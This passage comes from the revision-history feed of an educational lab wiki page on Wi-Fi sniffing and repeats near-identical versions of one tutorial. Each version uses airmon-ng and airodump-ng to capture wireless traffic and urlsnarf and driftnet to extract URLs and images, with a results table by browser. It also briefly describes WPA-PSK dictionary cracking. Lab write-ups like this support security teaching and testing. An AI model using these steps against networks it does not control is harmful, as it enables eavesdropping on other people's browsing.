The newly added interface in the list is the external adapter. In my case it was &#039;wlan1&#039;. In the following steps I refer to the external adapter as &#039;wlan1&#039;.&lt;br /&gt;
&lt;br /&gt;
Start [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] on the external adapter (**):&lt;br /&gt;
&lt;br /&gt;
 airmon-ng start wlan1&lt;br /&gt;
&lt;br /&gt;
The previous command creates a new interface called &#039;wlan1mon&#039;. Verify with:&lt;br /&gt;
&lt;br /&gt;
 iwconfig&lt;br /&gt;
&lt;br /&gt;
Display active Wi-Fi networks:&lt;br /&gt;
&lt;br /&gt;
 airodump-ng wlan1mon&lt;br /&gt;
&lt;br /&gt;
Remember the channel of the network you want to attack. In my case it was channel 11.&lt;br /&gt;
&lt;br /&gt;
Set your adapter to the appropriate channel:&lt;br /&gt;
&lt;br /&gt;
 iwconfig wlan1mon channel 11&lt;br /&gt;
&lt;br /&gt;
Verify the frequency:&lt;br /&gt;
&lt;br /&gt;
 iwconfig wlan1mon&lt;br /&gt;
 iwlist channel&lt;br /&gt;
&lt;br /&gt;
Start capturing data:&lt;br /&gt;
&lt;br /&gt;
 airodump-ng --channel 11 -w alfa wlan1mon&lt;br /&gt;
&lt;br /&gt;
Filter URLs from captured traffic:&lt;br /&gt;
&lt;br /&gt;
 urlsnarf -p alfa-01.cap&lt;br /&gt;
&lt;br /&gt;
Filter pictures from captured traffic:&lt;br /&gt;
&lt;br /&gt;
 driftnet -f alfa-01.cap -a -d Pictures/&lt;br /&gt;
&lt;br /&gt;
Disable [https://en.wikipedia.org/wiki/Monitor_mode monitor mode]:&lt;br /&gt;
&lt;br /&gt;
 airmon-ng stop wlan1mon&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
(*) Test if the adapter supports injection:&lt;br /&gt;
&lt;br /&gt;
 aireplay-ng -9 wlan1mon&lt;br /&gt;
&lt;br /&gt;
Detailed information about wireless adapters available in ELVIS can be found [[:File:WiFiAdapter.zip|here]].&lt;br /&gt;
&lt;br /&gt;
(**) This command did not work with [[Alfa AWUS036ACH Wide Range AC1200 Wireless Adapter|ALFA NETWORK AWUS036ACH]] and [[Alfa AWUS036EAC AC1200 USB Wireless Adapter|ALFA NETWORK AWUS036EAC]]. The following commands are an alternative way to start [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] on the adapter:&lt;br /&gt;
&lt;br /&gt;
 ifconfig wlan1 down&lt;br /&gt;
 iwconfig wlan1 mode monitor&lt;br /&gt;
 ifconfig wlan1 up&lt;br /&gt;
&lt;br /&gt;
== Results ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Browser                           !! urlsnarf                         !! driftnet&lt;br /&gt;
|-&lt;br /&gt;
| Microsoft Edge (Windows 10 host)  || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Mozilla Firefox (Windows 10 host) || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Google Chrome (Windows 10 host)   || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Google Chrome (Android host)      || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Samsung Internet (Android host)   || URLs captured                    || images captured&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Used Hardware ==&lt;br /&gt;
&lt;br /&gt;
* Windows 10 host&lt;br /&gt;
* Kali Linux host&lt;br /&gt;
* Samsung Galaxy A8&lt;br /&gt;
* [[LG Nexus 5X Google Smartphone 32 GB, Android 6.0 Marshmallow, Carbon]]&lt;br /&gt;
* [[Panda 300 Mbps Wireless N USB Adapter PAU05]]&lt;br /&gt;
* [[Alfa AWUS036ACH Wide Range AC1200 Wireless Adapter]]&lt;br /&gt;
* [[Alfa AWUS036EAC AC1200 USB Wireless Adapter]]&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://www.androidauthority.com/capture-data-open-wi-fi-726356/&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=airmon-ng&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=airodump-ng&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=injection_test&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>MMehlfuehrer</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=WiFi_Sniffing&amp;diff=8239</id>
		<title>WiFi Sniffing</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=WiFi_Sniffing&amp;diff=8239"/>
		<updated>2021-12-17T10:07:20Z</updated>

		<summary type="html">&lt;p&gt;MMehlfuehrer: /* Overview */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
Sniff Wi-Fi traffic using wireless interfaces supporting [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] and [https://en.wikipedia.org/wiki/Packet_injection packet injection] (*). &lt;br /&gt;
WPA/WPA2 uses various types for authentication. Aircrack-ng is only capable of cracking pre-shared keys! Meaning only networks using PSK can be attacked. (To determine if a network uses PSK, airodump-ng is used). The method used to crack the pre-shared key is a plain brute force attack. This means the PSK needs to be in the used dictionary for the brute force attack. If it is not in the list, aircrack-ng can not determine the key.&lt;br /&gt;
For WPA/WPA2 cracking the initial 4-way handshake is needed. This handshake is conducted between a client and the AP, when a client tries to connect to the network.&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Operating system: [https://www.kali.org/downloads/12/ Kali Linux 64 Bit]&lt;br /&gt;
* Wireless card: One that can inject packets [https://www.aircrack-ng.org/doku.php?id=injection_test Injection test]&lt;br /&gt;
*&lt;br /&gt;
&lt;br /&gt;
== Prerequisites==&lt;br /&gt;
&lt;br /&gt;
The following information of the hardware used is needed:&lt;br /&gt;
*MAC of PC running the attack:&lt;br /&gt;
*MAC of a wireless client in the network:&lt;br /&gt;
*BSSID:&lt;br /&gt;
*ESSID:&lt;br /&gt;
*Channel used by AP:&lt;br /&gt;
*Wireless interface:&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
=== Overview ===&lt;br /&gt;
The following steps are needed to get the password:&lt;br /&gt;
&lt;br /&gt;
1) asdf&lt;br /&gt;
2) asdf&lt;br /&gt;
3) asdf&lt;br /&gt;
4) asdf&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Open a terminal.&lt;br /&gt;
&lt;br /&gt;
Display your wireless interfaces:&lt;br /&gt;
&lt;br /&gt;
 iwconfig&lt;br /&gt;
&lt;br /&gt;
Connect the external Wi-Fi adapter to your host computer.&lt;br /&gt;
&lt;br /&gt;
 iwconfig&lt;br /&gt;
&lt;br /&gt;
The newly added interface in the list is the external adapter. In my case it was &#039;wlan1&#039;. In the following steps I refer to the external adapter as &#039;wlan1&#039;.&lt;br /&gt;
&lt;br /&gt;
Start [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] on the external adapter (**):&lt;br /&gt;
&lt;br /&gt;
 airmon-ng start wlan1&lt;br /&gt;
&lt;br /&gt;
The previous command creates a new interface called &#039;wlan1mon&#039;. Verify with:&lt;br /&gt;
&lt;br /&gt;
 iwconfig&lt;br /&gt;
&lt;br /&gt;
Display active Wi-Fi networks:&lt;br /&gt;
&lt;br /&gt;
 airodump-ng wlan1mon&lt;br /&gt;
&lt;br /&gt;
Remember the channel of the network you want to attack. In my case it was channel 11.&lt;br /&gt;
&lt;br /&gt;
Set your adapter to the appropriate channel:&lt;br /&gt;
&lt;br /&gt;
 iwconfig wlan1mon channel 11&lt;br /&gt;
&lt;br /&gt;
Verify the frequency:&lt;br /&gt;
&lt;br /&gt;
 iwconfig wlan1mon&lt;br /&gt;
 iwlist channel&lt;br /&gt;
&lt;br /&gt;
Start capturing data:&lt;br /&gt;
&lt;br /&gt;
 airodump-ng --channel 11 -w alfa wlan1mon&lt;br /&gt;
&lt;br /&gt;
Filter URLs from captured traffic:&lt;br /&gt;
&lt;br /&gt;
 urlsnarf -p alfa-01.cap&lt;br /&gt;
&lt;br /&gt;
Filter pictures from captured traffic:&lt;br /&gt;
&lt;br /&gt;
 driftnet -f alfa-01.cap -a -d Pictures/&lt;br /&gt;
&lt;br /&gt;
Disable [https://en.wikipedia.org/wiki/Monitor_mode monitor mode]:&lt;br /&gt;
&lt;br /&gt;
 airmon-ng stop wlan1mon&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
(*) Test if the adapter supports injection:&lt;br /&gt;
&lt;br /&gt;
 aireplay-ng -9 wlan1mon&lt;br /&gt;
&lt;br /&gt;
Detailed information about wireless adapters available in ELVIS can be found [[:File:WiFiAdapter.zip|here]].&lt;br /&gt;
&lt;br /&gt;
(**) This command did not work with [[Alfa AWUS036ACH Wide Range AC1200 Wireless Adapter|ALFA NETWORK AWUS036ACH]] and [[Alfa AWUS036EAC AC1200 USB Wireless Adapter|ALFA NETWORK AWUS036EAC]]. The following commands are an alternative way to start [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] on the adapter:&lt;br /&gt;
&lt;br /&gt;
 ifconfig wlan1 down&lt;br /&gt;
 iwconfig wlan1 mode monitor&lt;br /&gt;
 ifconfig wlan1 up&lt;br /&gt;
&lt;br /&gt;
== Results ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Browser                           !! urlsnarf                         !! driftnet&lt;br /&gt;
|-&lt;br /&gt;
| Microsoft Edge (Windows 10 host)  || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Mozilla Firefox (Windows 10 host) || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Google Chrome (Windows 10 host)   || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Google Chrome (Android host)      || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Samsung Internet (Android host)   || URLs captured                    || images captured&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Used Hardware ==&lt;br /&gt;
&lt;br /&gt;
* Windows 10 host&lt;br /&gt;
* Kali Linux host&lt;br /&gt;
* Samsung Galaxy A8&lt;br /&gt;
* [[LG Nexus 5X Google Smartphone 32 GB, Android 6.0 Marshmallow, Carbon]]&lt;br /&gt;
* [[Panda 300 Mbps Wireless N USB Adapter PAU05]]&lt;br /&gt;
* [[Alfa AWUS036ACH Wide Range AC1200 Wireless Adapter]]&lt;br /&gt;
* [[Alfa AWUS036EAC AC1200 USB Wireless Adapter]]&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://www.androidauthority.com/capture-data-open-wi-fi-726356/&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=airmon-ng&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=airodump-ng&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=injection_test&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>MMehlfuehrer</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=WiFi_Sniffing&amp;diff=8238</id>
		<title>WiFi Sniffing</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=WiFi_Sniffing&amp;diff=8238"/>
		<updated>2021-12-17T10:07:01Z</updated>

		<summary type="html">&lt;p&gt;MMehlfuehrer: /* Description */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
Sniff Wi-Fi traffic using wireless interfaces supporting [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] and [https://en.wikipedia.org/wiki/Packet_injection packet injection] (*). &lt;br /&gt;
WPA/WPA2 uses various types for authentication. Aircrack-ng is only capable of cracking pre-shared keys! Meaning only networks using PSK can be attacked. (To determine if a network uses PSK, airodump-ng is used). The method used to crack the pre-shared key is a plain brute force attack. This means the PSK needs to be in the used dictionary for the brute force attack. If it is not in the list, aircrack-ng can not determine the key.&lt;br /&gt;
For WPA/WPA2 cracking the initial 4-way handshake is needed. This handshake is conducted between a client and the AP, when a client tries to connect to the network.&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Operating system: [https://www.kali.org/downloads/12/ Kali Linux 64 Bit]&lt;br /&gt;
* Wireless card: One that can inject packets [https://www.aircrack-ng.org/doku.php?id=injection_test Injection test]&lt;br /&gt;
*&lt;br /&gt;
&lt;br /&gt;
== Prerequisites==&lt;br /&gt;
&lt;br /&gt;
The following information of the hardware used is needed:&lt;br /&gt;
*MAC of PC running the attack:&lt;br /&gt;
*MAC of a wireless client in the network:&lt;br /&gt;
*BSSID:&lt;br /&gt;
*ESSID:&lt;br /&gt;
*Channel used by AP:&lt;br /&gt;
*Wireless interface:&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
=== Overview ===&lt;br /&gt;
The following steps are needed to get the password:&lt;br /&gt;
&lt;br /&gt;
Open a terminal.&lt;br /&gt;
&lt;br /&gt;
Display your wireless interfaces:&lt;br /&gt;
&lt;br /&gt;
 iwconfig&lt;br /&gt;
&lt;br /&gt;
Connect the external Wi-Fi adapter to your host computer.&lt;br /&gt;
&lt;br /&gt;
 iwconfig&lt;br /&gt;
&lt;br /&gt;
The newly added interface in the list is the external adapter. In my case it was &#039;wlan1&#039;. In the following steps I refer to the external adapter as &#039;wlan1&#039;.&lt;br /&gt;
&lt;br /&gt;
Start [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] on the external adapter (**):&lt;br /&gt;
&lt;br /&gt;
 airmon-ng start wlan1&lt;br /&gt;
&lt;br /&gt;
The previous command creates a new interface called &#039;wlan1mon&#039;. Verify with:&lt;br /&gt;
&lt;br /&gt;
 iwconfig&lt;br /&gt;
&lt;br /&gt;
Display active Wi-Fi networks:&lt;br /&gt;
&lt;br /&gt;
 airodump-ng wlan1mon&lt;br /&gt;
&lt;br /&gt;
Remember the channel of the network you want to attack. In my case it was channel 11.&lt;br /&gt;
&lt;br /&gt;
Set your adapter to the appropriate channel:&lt;br /&gt;
&lt;br /&gt;
 iwconfig wlan1mon channel 11&lt;br /&gt;
&lt;br /&gt;
Verify the frequency:&lt;br /&gt;
&lt;br /&gt;
 iwconfig wlan1mon&lt;br /&gt;
 iwlist channel&lt;br /&gt;
&lt;br /&gt;
Start capturing data:&lt;br /&gt;
&lt;br /&gt;
 airodump-ng --channel 11 -w alfa wlan1mon&lt;br /&gt;
&lt;br /&gt;
Filter URLs from captured traffic:&lt;br /&gt;
&lt;br /&gt;
 urlsnarf -p alfa-01.cap&lt;br /&gt;
&lt;br /&gt;
Filter pictures from captured traffic:&lt;br /&gt;
&lt;br /&gt;
 driftnet -f alfa-01.cap -a -d Pictures/&lt;br /&gt;
&lt;br /&gt;
Disable [https://en.wikipedia.org/wiki/Monitor_mode monitor mode]:&lt;br /&gt;
&lt;br /&gt;
 airmon-ng stop wlan1mon&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
(*) Test if the adapter supports injection:&lt;br /&gt;
&lt;br /&gt;
 aireplay-ng -9 wlan1mon&lt;br /&gt;
&lt;br /&gt;
Detailed information about wireless adapters available in ELVIS can be found [[:File:WiFiAdapter.zip|here]].&lt;br /&gt;
&lt;br /&gt;
(**) This command did not work with [[Alfa AWUS036ACH Wide Range AC1200 Wireless Adapter|ALFA NETWORK AWUS036ACH]] and [[Alfa AWUS036EAC AC1200 USB Wireless Adapter|ALFA NETWORK AWUS036EAC]]. The following commands are an alternative way to start [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] on the adapter:&lt;br /&gt;
&lt;br /&gt;
 ifconfig wlan1 down&lt;br /&gt;
 iwconfig wlan1 mode monitor&lt;br /&gt;
 ifconfig wlan1 up&lt;br /&gt;
&lt;br /&gt;
== Results ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Browser                           !! urlsnarf                         !! driftnet&lt;br /&gt;
|-&lt;br /&gt;
| Microsoft Edge (Windows 10 host)  || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Mozilla Firefox (Windows 10 host) || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Google Chrome (Windows 10 host)   || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Google Chrome (Android host)      || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Samsung Internet (Android host)   || URLs captured                    || images captured&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Used Hardware ==&lt;br /&gt;
&lt;br /&gt;
* Windows 10 host&lt;br /&gt;
* Kali Linux host&lt;br /&gt;
* Samsung Galaxy A8&lt;br /&gt;
* [[LG Nexus 5X Google Smartphone 32 GB, Android 6.0 Marshmallow, Carbon]]&lt;br /&gt;
* [[Panda 300 Mbps Wireless N USB Adapter PAU05]]&lt;br /&gt;
* [[Alfa AWUS036ACH Wide Range AC1200 Wireless Adapter]]&lt;br /&gt;
* [[Alfa AWUS036EAC AC1200 USB Wireless Adapter]]&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://www.androidauthority.com/capture-data-open-wi-fi-726356/&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=airmon-ng&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=airodump-ng&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=injection_test&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>MMehlfuehrer</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=WiFi_Sniffing&amp;diff=8237</id>
		<title>WiFi Sniffing</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=WiFi_Sniffing&amp;diff=8237"/>
		<updated>2021-12-17T10:05:50Z</updated>

		<summary type="html">&lt;p&gt;MMehlfuehrer: /* asdf */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
Sniff Wi-Fi traffic using wireless interfaces supporting [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] and [https://en.wikipedia.org/wiki/Packet_injection packet injection] (*). &lt;br /&gt;
WPA/WPA2 uses various types for authentication. Aircrack-ng is only capable of cracking pre-shared keys! Meaning only networks using PSK can be attacked. (To determine if a network uses PSK, airodump-ng is used). The method used to crack the pre-shared key is a plain brute force attack. This means the PSK needs to be in the used dictionary for the brute force attack. If it is not in the list, aircrack-ng can not determine the key.&lt;br /&gt;
For WPA/WPA2 cracking the initial 4-way handshake is needed. This handshake is conducted between a client and the AP, when a client tries to connect to the network.&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Operating system: [https://www.kali.org/downloads/12/ Kali Linux 64 Bit]&lt;br /&gt;
* Wireless card: One that can inject packets [https://www.aircrack-ng.org/doku.php?id=injection_test Injection test]&lt;br /&gt;
*&lt;br /&gt;
&lt;br /&gt;
== Prerequisites==&lt;br /&gt;
&lt;br /&gt;
The following information of the hardware used is needed:&lt;br /&gt;
*MAC of PC running the attack:&lt;br /&gt;
*MAC of a wireless client in the network:&lt;br /&gt;
*BSSID:&lt;br /&gt;
*ESSID:&lt;br /&gt;
*Channel used by AP:&lt;br /&gt;
*Wireless interface:&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
=== asdf ===&lt;br /&gt;
Open a terminal.&lt;br /&gt;
&lt;br /&gt;
Display your wireless interfaces:&lt;br /&gt;
&lt;br /&gt;
 iwconfig&lt;br /&gt;
&lt;br /&gt;
Connect the external Wi-Fi adapter to your host computer.&lt;br /&gt;
&lt;br /&gt;
 iwconfig&lt;br /&gt;
&lt;br /&gt;
The newly added interface in the list is the external adapter. In my case it was &#039;wlan1&#039;. In the following steps I refer to the external adapter as &#039;wlan1&#039;.&lt;br /&gt;
&lt;br /&gt;
Start [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] on the external adapter (**):&lt;br /&gt;
&lt;br /&gt;
 airmon-ng start wlan1&lt;br /&gt;
&lt;br /&gt;
The previous command creates a new interface called &#039;wlan1mon&#039;. Verify with:&lt;br /&gt;
&lt;br /&gt;
 iwconfig&lt;br /&gt;
&lt;br /&gt;
Display active Wi-Fi networks:&lt;br /&gt;
&lt;br /&gt;
 airodump-ng wlan1mon&lt;br /&gt;
&lt;br /&gt;
Remember the channel of the network you want to attack. In my case it was channel 11.&lt;br /&gt;
&lt;br /&gt;
Set your adapter to the appropriate channel:&lt;br /&gt;
&lt;br /&gt;
 iwconfig wlan1mon channel 11&lt;br /&gt;
&lt;br /&gt;
Verify the frequency:&lt;br /&gt;
&lt;br /&gt;
 iwconfig wlan1mon&lt;br /&gt;
 iwlist channel&lt;br /&gt;
&lt;br /&gt;
Start capturing data:&lt;br /&gt;
&lt;br /&gt;
 airodump-ng --channel 11 -w alfa wlan1mon&lt;br /&gt;
&lt;br /&gt;
Filter URLs from captured traffic:&lt;br /&gt;
&lt;br /&gt;
 urlsnarf -p alfa-01.cap&lt;br /&gt;
&lt;br /&gt;
Filter pictures from captured traffic:&lt;br /&gt;
&lt;br /&gt;
 driftnet -f alfa-01.cap -a -d Pictures/&lt;br /&gt;
&lt;br /&gt;
Disable [https://en.wikipedia.org/wiki/Monitor_mode monitor mode]:&lt;br /&gt;
&lt;br /&gt;
 airmon-ng stop wlan1mon&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
(*) Test if the adapter supports injection:&lt;br /&gt;
&lt;br /&gt;
 aireplay-ng -9 wlan1mon&lt;br /&gt;
&lt;br /&gt;
Detailed information about wireless adapters available in ELVIS can be found [[:File:WiFiAdapter.zip|here]].&lt;br /&gt;
&lt;br /&gt;
(**) This command did not work with [[Alfa AWUS036ACH Wide Range AC1200 Wireless Adapter|ALFA NETWORK AWUS036ACH]] and [[Alfa AWUS036EAC AC1200 USB Wireless Adapter|ALFA NETWORK AWUS036EAC]]. The following commands are an alternative way to start [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] on the adapter:&lt;br /&gt;
&lt;br /&gt;
 ifconfig wlan1 down&lt;br /&gt;
 iwconfig wlan1 mode monitor&lt;br /&gt;
 ifconfig wlan1 up&lt;br /&gt;
&lt;br /&gt;
== Results ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Browser                           !! urlsnarf                         !! driftnet&lt;br /&gt;
|-&lt;br /&gt;
| Microsoft Edge (Windows 10 host)  || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Mozilla Firefox (Windows 10 host) || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Google Chrome (Windows 10 host)   || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Google Chrome (Android host)      || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Samsung Internet (Android host)   || URLs captured                    || images captured&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Used Hardware ==&lt;br /&gt;
&lt;br /&gt;
* Windows 10 host&lt;br /&gt;
* Kali Linux host&lt;br /&gt;
* Samsung Galaxy A8&lt;br /&gt;
* [[LG Nexus 5X Google Smartphone 32 GB, Android 6.0 Marshmallow, Carbon]]&lt;br /&gt;
* [[Panda 300 Mbps Wireless N USB Adapter PAU05]]&lt;br /&gt;
* [[Alfa AWUS036ACH Wide Range AC1200 Wireless Adapter]]&lt;br /&gt;
* [[Alfa AWUS036EAC AC1200 USB Wireless Adapter]]&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://www.androidauthority.com/capture-data-open-wi-fi-726356/&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=airmon-ng&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=airodump-ng&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=injection_test&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>MMehlfuehrer</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=WiFi_Sniffing&amp;diff=8236</id>
		<title>WiFi Sniffing</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=WiFi_Sniffing&amp;diff=8236"/>
		<updated>2021-12-17T10:05:35Z</updated>

		<summary type="html">&lt;p&gt;MMehlfuehrer: /* Description */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
Sniff Wi-Fi traffic using wireless interfaces supporting [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] and [https://en.wikipedia.org/wiki/Packet_injection packet injection] (*). &lt;br /&gt;
WPA/WPA2 uses various types for authentication. Aircrack-ng is only capable of cracking pre-shared keys! Meaning only networks using PSK can be attacked. (To determine if a network uses PSK, airodump-ng is used). The method used to crack the pre-shared key is a plain brute force attack. This means the PSK needs to be in the used dictionary for the brute force attack. If it is not in the list, aircrack-ng can not determine the key.&lt;br /&gt;
For WPA/WPA2 cracking the initial 4-way handshake is needed. This handshake is conducted between a client and the AP, when a client tries to connect to the network.&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Operating system: [https://www.kali.org/downloads/12/ Kali Linux 64 Bit]&lt;br /&gt;
* Wireless card: One that can inject packets [https://www.aircrack-ng.org/doku.php?id=injection_test Injection test]&lt;br /&gt;
*&lt;br /&gt;
&lt;br /&gt;
== Prerequisites==&lt;br /&gt;
&lt;br /&gt;
The following information of the hardware used is needed:&lt;br /&gt;
*MAC of PC running the attack:&lt;br /&gt;
*MAC of a wireless client in the network:&lt;br /&gt;
*BSSID:&lt;br /&gt;
*ESSID:&lt;br /&gt;
*Channel used by AP:&lt;br /&gt;
*Wireless interface:&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
= asdf =&lt;br /&gt;
Open a terminal.&lt;br /&gt;
&lt;br /&gt;
Display your wireless interfaces:&lt;br /&gt;
&lt;br /&gt;
 iwconfig&lt;br /&gt;
&lt;br /&gt;
Connect the external Wi-Fi adapter to your host computer.&lt;br /&gt;
&lt;br /&gt;
 iwconfig&lt;br /&gt;
&lt;br /&gt;
The newly added interface in the list is the external adapter. In my case it was &#039;wlan1&#039;. In the following steps I refer to the external adapter as &#039;wlan1&#039;.&lt;br /&gt;
&lt;br /&gt;
Start [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] on the external adapter (**):&lt;br /&gt;
&lt;br /&gt;
 airmon-ng start wlan1&lt;br /&gt;
&lt;br /&gt;
The previous command creates a new interface called &#039;wlan1mon&#039;. Verify with:&lt;br /&gt;
&lt;br /&gt;
 iwconfig&lt;br /&gt;
&lt;br /&gt;
Display active Wi-Fi networks:&lt;br /&gt;
&lt;br /&gt;
 airodump-ng wlan1mon&lt;br /&gt;
&lt;br /&gt;
Remember the channel of the network you want to attack. In my case it was channel 11.&lt;br /&gt;
&lt;br /&gt;
Set your adapter to the appropriate channel:&lt;br /&gt;
&lt;br /&gt;
 iwconfig wlan1mon channel 11&lt;br /&gt;
&lt;br /&gt;
Verify the frequency:&lt;br /&gt;
&lt;br /&gt;
 iwconfig wlan1mon&lt;br /&gt;
 iwlist channel&lt;br /&gt;
&lt;br /&gt;
Start capturing data:&lt;br /&gt;
&lt;br /&gt;
 airodump-ng --channel 11 -w alfa wlan1mon&lt;br /&gt;
&lt;br /&gt;
Filter URLs from captured traffic:&lt;br /&gt;
&lt;br /&gt;
 urlsnarf -p alfa-01.cap&lt;br /&gt;
&lt;br /&gt;
Filter pictures from captured traffic:&lt;br /&gt;
&lt;br /&gt;
 driftnet -f alfa-01.cap -a -d Pictures/&lt;br /&gt;
&lt;br /&gt;
Disable [https://en.wikipedia.org/wiki/Monitor_mode monitor mode]:&lt;br /&gt;
&lt;br /&gt;
 airmon-ng stop wlan1mon&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
(*) Test if the adapter supports injection:&lt;br /&gt;
&lt;br /&gt;
 aireplay-ng -9 wlan1mon&lt;br /&gt;
&lt;br /&gt;
Detailed information about wireless adapters available in ELVIS can be found [[:File:WiFiAdapter.zip|here]].&lt;br /&gt;
&lt;br /&gt;
(**) This command did not work with [[Alfa AWUS036ACH Wide Range AC1200 Wireless Adapter|ALFA NETWORK AWUS036ACH]] and [[Alfa AWUS036EAC AC1200 USB Wireless Adapter|ALFA NETWORK AWUS036EAC]]. The following commands are an alternative way to start [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] on the adapter:&lt;br /&gt;
&lt;br /&gt;
 ifconfig wlan1 down&lt;br /&gt;
 iwconfig wlan1 mode monitor&lt;br /&gt;
 ifconfig wlan1 up&lt;br /&gt;
&lt;br /&gt;
== Results ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
